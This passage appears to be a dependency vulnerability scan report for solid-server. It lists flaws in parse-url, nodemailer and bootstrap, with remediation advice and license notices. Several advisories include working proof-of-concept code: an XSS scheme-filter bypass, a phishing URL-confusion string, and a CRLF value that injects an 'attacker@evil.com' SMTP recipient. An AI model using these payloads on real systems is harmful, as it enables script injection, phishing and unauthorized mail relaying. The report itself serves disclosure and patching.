  • Introduced through: solid-server@solid/node-solid-server @solid/oidc-auth-manager@0.25.2 rdflib@2.4.0 package.json@2.0.1 git-source@1.1.11 git-url-parse@5.0.1 git-up@1.2.1 parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server mashlib@2.2.2 rdflib@2.4.0 package.json@2.0.1 git-source@1.1.11 git-url-parse@5.0.1 git-up@1.2.1 parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server mashlib@2.2.2 solid-panes@4.4.2 folder-pane@3.1.0 rdflib@2.4.0 package.json@2.0.1 git-source@1.1.11 git-url-parse@5.0.1 git-up@1.2.1 parse-url@1.3.11

Overview

parse-url is an An advanced url parser supporting git urls too.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) due to improper sanitization of special ASCII characters that start with \r\r or \r. This vulnerability exists due to an incomplete fix for CVE-2022-2217.

PoC:

const http = require("http");
const parseUrl = require("parse-url");
const url =  parseUrl('jav\r\r\rascript://%0aalert(1)');
console.log(url)
const server = http.createServer((request, response) => {
    response.writeHead(200);
    if (url.scheme !== "javascript" && url.scheme !== null) {
        response.end("<a href=\'" + url.href + "\'>Wowww!</a>" );
    }
    else{
        response.end("Nooo!");
    }
});
server.listen(80, "127.0.0.1",function(){
    console.log("http://"+this.address().address+":"+this.address().port);
});

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade parse-url to version 6.0.1 or higher.

References

medium severity

Missing Authorization

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@7.0.13

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server nodemailer@7.0.13
    Remediation: Upgrade to nodemailer@8.0.9.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Missing Authorization in the jsonTransport message, which fails to enforce file and URL access restrictions during message normalization. An attacker can access local files or trigger outbound HTTP requests by supplying crafted message content fields such as attachment path or text.href.

Remediation

Upgrade nodemailer to version 8.0.9 or higher.

References

medium severity

Improper Input Validation

  • Vulnerable module: parse-url
  • Introduced through: rdflib@2.4.0, @solid/acl-check@0.4.5 and others

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server rdflib@2.4.0 package.json@2.0.1 git-source@1.1.11 git-url-parse@5.0.1 git-up@1.2.1 parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server @solid/acl-check@0.4.5 rdflib@2.4.0 package.json@2.0.1 git-source@1.1.11 git-url-parse@5.0.1 git-up@1.2.1 parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server @solid/oidc-auth-manager@0.25.2 rdflib@2.4.0 package.json@2.0.1 git-source@1.1.11 git-url-parse@5.0.1 git-up@1.2.1 parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server mashlib@2.2.2 rdflib@2.4.0 package.json@2.0.1 git-source@1.1.11 git-url-parse@5.0.1 git-up@1.2.1 parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server mashlib@2.2.2 solid-panes@4.4.2 folder-pane@3.1.0 rdflib@2.4.0 package.json@2.0.1 git-source@1.1.11 git-url-parse@5.0.1 git-up@1.2.1 parse-url@1.3.11

Overview

parse-url is an An advanced url parser supporting git urls too.

Affected versions of this package are vulnerable to Improper Input Validation due to incorrect parsing of URLs. This allows the attacker to craft a malformed URL which can lead to a phishing attack.


const parseUrl = require("parse-url");
const Url = require("url");

const express = require('express');
const app = express();

var url = "https://www.google.com:x@fakesite.com:x";
parsed = parseUrl(url);
console.log("[*]`parse-url` output: ")
console.log(parsed);

parsed2 = Url.parse(url);
console.log("[*]`url` output: ")
console.log(parsed2)

app.get('/', (req, res) => {
    if (parsed.host == "www.google.com") {
        res.send("<a href=\'" + parsed2.href + "\'>CLICK ME!</a>")
    }
})

app.listen(8888,"0.0.0.0");

Remediation

Upgrade parse-url to version 8.1.0 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: parse-url
  • Introduced through: rdflib@2.4.0, @solid/acl-check@0.4.5 and others

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server rdflib@2.4.0 package.json@2.0.1 git-source@1.1.11 git-url-parse@5.0.1 git-up@1.2.1 parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server @solid/acl-check@0.4.5 rdflib@2.4.0 package.json@2.0.1 git-source@1.1.11 git-url-parse@5.0.1 git-up@1.2.1 parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server @solid/oidc-auth-manager@0.25.2 rdflib@2.4.0 package.json@2.0.1 git-source@1.1.11 git-url-parse@5.0.1 git-up@1.2.1 parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server mashlib@2.2.2 rdflib@2.4.0 package.json@2.0.1 git-source@1.1.11 git-url-parse@5.0.1 git-up@1.2.1 parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server mashlib@2.2.2 solid-panes@4.4.2 folder-pane@3.1.0 rdflib@2.4.0 package.json@2.0.1 git-source@1.1.11 git-url-parse@5.0.1 git-up@1.2.1 parse-url@1.3.11

Overview

parse-url is an An advanced url parser supporting git urls too.

Affected versions of this package are vulnerable to Information Exposure due to improper validation.

Remediation

Upgrade parse-url to version 6.0.1 or higher.

References

medium severity

MPL-2.0 license

  • Module: express-accept-events
  • Introduced through: express-accept-events@0.3.0

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server express-accept-events@0.3.0

MPL-2.0 license

medium severity

MPL-2.0 license

  • Module: express-negotiate-events
  • Introduced through: express-negotiate-events@0.3.0

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server express-negotiate-events@0.3.0

MPL-2.0 license

medium severity

MPL-2.0 license

  • Module: express-prep
  • Introduced through: express-prep@0.6.4

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server express-prep@0.6.4

MPL-2.0 license

medium severity

MPL-2.0 license

  • Module: structured-field-utils
  • Introduced through: express-accept-events@0.3.0 and express-prep@0.6.4

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server express-accept-events@0.3.0 structured-field-utils@1.2.0-nested-sf.0
  • Introduced through: solid-server@solid/node-solid-server express-prep@0.6.4 structured-field-utils@1.2.0-nested-sf.0

MPL-2.0 license

low severity

CRLF Injection

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@7.0.13

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server nodemailer@7.0.13
    Remediation: Upgrade to nodemailer@8.0.4.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to CRLF Injection via the envelope.size parameter in the sendMail function. An attacker can inject arbitrary SMTP commands by supplying CRLF characters in the size property, which are concatenated directly into the SMTP command stream. This can result in unauthorized recipients being added to outgoing emails or other SMTP commands being executed.

Note:

This is only exploitable if the application explicitly passes a custom envelope object with a user-controlled size property to the mail sending process.

PoC

const net = require('net');
const nodemailer = require('nodemailer');

// Minimal SMTP server that logs raw commands
const server = net.createServer(socket => {
    socket.write('220 localhost ESMTP\r\n');
    let buffer = '';
    socket.on('data', chunk => {
        buffer += chunk.toString();
        const lines = buffer.split('\r\n');
        buffer = lines.pop();
        for (const line of lines) {
            if (!line) continue;
            console.log('C:', line);
            if (line.startsWith('EHLO')) {
                socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n');
            } else if (line.startsWith('MAIL FROM')) {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('RCPT TO')) {
                socket.write('250 OK\r\n');
            } else if (line === 'DATA') {
                socket.write('354 Start\r\n');
            } else if (line === '.') {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('QUIT')) {
                socket.write('221 Bye\r\n');
                socket.end();
            }
        }
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;
    console.log('SMTP server on port', port);
    console.log('Sending email with injected RCPT TO...\n');

    const transporter = nodemailer.createTransport({
        host: '127.0.0.1',
        port,
        secure: false,
        tls: { rejectUnauthorized: false },
    });

    transporter.sendMail({
        from: 'sender@example.com',
        to: 'recipient@example.com',
        subject: 'Normal email',
        text: 'This is a normal email.',
        envelope: {
            from: 'sender@example.com',
            to: ['recipient@example.com'],
            size: '100\r\nRCPT TO:<attacker@evil.com>',
        },
    }, (err) => {
        if (err) console.error('Error:', err.message);
        console.log('\nExpected output above:');
        console.log('  C: MAIL FROM:<sender@example.com> SIZE=100');
        console.log('  C: RCPT TO:<attacker@evil.com>        <-- INJECTED');
        console.log('  C: RCPT TO:<recipient@example.com>');
        server.close();
        transporter.close();
    });
});

Remediation

Upgrade nodemailer to version 8.0.4 or higher.

References

low severity

Cross-site Scripting (XSS)

  • Vulnerable module: bootstrap
  • Introduced through: bootstrap@3.4.1

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server bootstrap@3.4.1
    Remediation: Upgrade to bootstrap@4.0.0.

Overview

bootstrap is a popular front-end framework for faster and easier web development.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the Tooltip and Popover components due to improper neutralization of input during web page generation. An attacker can manipulate the output of web pages by injecting malicious scripts into the title attribute.

Note:

The Bootstrap 3 version is End-of-Life and will not receive any updates to address this issue.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade bootstrap to version 4.0.0 or higher.

References